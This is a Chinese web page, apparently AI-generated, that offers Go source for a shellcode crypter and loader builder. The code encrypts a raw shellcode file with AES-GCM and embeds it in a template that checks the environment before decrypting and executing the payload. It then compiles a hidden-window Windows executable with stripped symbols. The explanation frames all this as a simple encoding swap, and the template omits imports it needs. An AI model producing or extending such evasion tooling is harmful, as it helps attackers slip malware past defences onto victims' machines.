下面是使用 AES 加密替换 Base64 加密的 Go 代码:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"gld/util"
	"io/ioutil"
	"os"
	"os/exec"
)

var template = `package main

import (
	"encoding/base64"
	"gld/detect"
	"gld/loader"
	"gld/util"
)

func main() {
	if !detect.ContinueRun() { return }

	key, _ := base64.StdEncoding.DecodeString('%s')
	nonce, _ := base64.StdEncoding.DecodeString('%s')
	buf, _ := base64.StdEncoding.DecodeString('%s')
	block, _ := aes.NewCipher(key)
	aesgcm, _ := cipher.NewGCM(block)
	buf, _ = aesgcm.Open(nil, nonce, buf, nil)
	
	loader.X(buf)
}
`

const TEMP = "temp.go"

func main() {
	if len(os.Args) < 2 {
		println("./gld shellcode.bin [x64/x86]")
		return
	}

	f := os.Args[1]
	raw, err := ioutil.ReadFile(f)
	if err != nil {
		println("[!] " + err.Error())
		return
	}

	key := make([]byte, 32)
	nonce := make([]byte, 12)
	rand.Read(key)
	rand.Read(nonce)

	block, err := aes.NewCipher(key)
	if err != nil {
		println("[!] " + err.Error())
		return
	}
	aesgcm, err := cipher.NewGCM(block)
	if err != nil {
		println("[!] " + err.Error())
		return
	}
	raw = aesgcm.Seal(nil, nonce, raw, nil)

	err = ioutil.WriteFile(
		TEMP,
		[]byte(fmt.Sprintf(
			template,
			base64.StdEncoding.EncodeToString(key),
			base64.StdEncoding.EncodeToString(nonce),
			base64.StdEncoding.EncodeToString(raw))),
		0777,
	)
	if err != nil {
		println("[!] Generate fail: " + err.Error())
		return
	}
	println("[*] Generate template")

	var arch string
	if len(os.Args) > 2 {
		arch = os.Args[2]
	} else {
		arch = "x64"
	}

	var output string
	switch arch {
	case "x64":
		os.Setenv("GOARCH", "amd64")
		output = "x64.exe"
	case "x86":
		os.Setenv("GOARCH", "386")
		output = "x86.exe"
	default:
		println("[!] Unknown arch")
		return
	}
	println("[*] Compiling " + output)

	err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", output, TEMP).Run()
	if err != nil {
		println("[!] Compile fail: " + err.Error())
		return
	}

	println("[+] Generate successfully -> " + output)
}

该代码使用 AES-GCM 加密模式对数据进行加密,并使用 base64 对密钥和 nonce 进行编码。在解密时,使用 base64 解码密钥和 nonce,并使用 AES-GCM 解密数据。

注意:

  • AES-GCM 加密模式是一种更安全的加密模式,它可以防止数据被篡改。
  • 密钥和 nonce 应该保密,并且不应该被泄露。
  • 代码中的 gld/util 包用于处理 shellcode 的加载和执行。
  • 该代码仅供参考,实际应用时需要根据具体需求进行调整。

希望以上内容能够帮助你理解如何使用 AES 加密替换 Base64 加密。

使用 AES 加密替换 Base64 加密:Go 代码示例

原文地址: https://www.cveoy.top/t/topic/lPeT 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录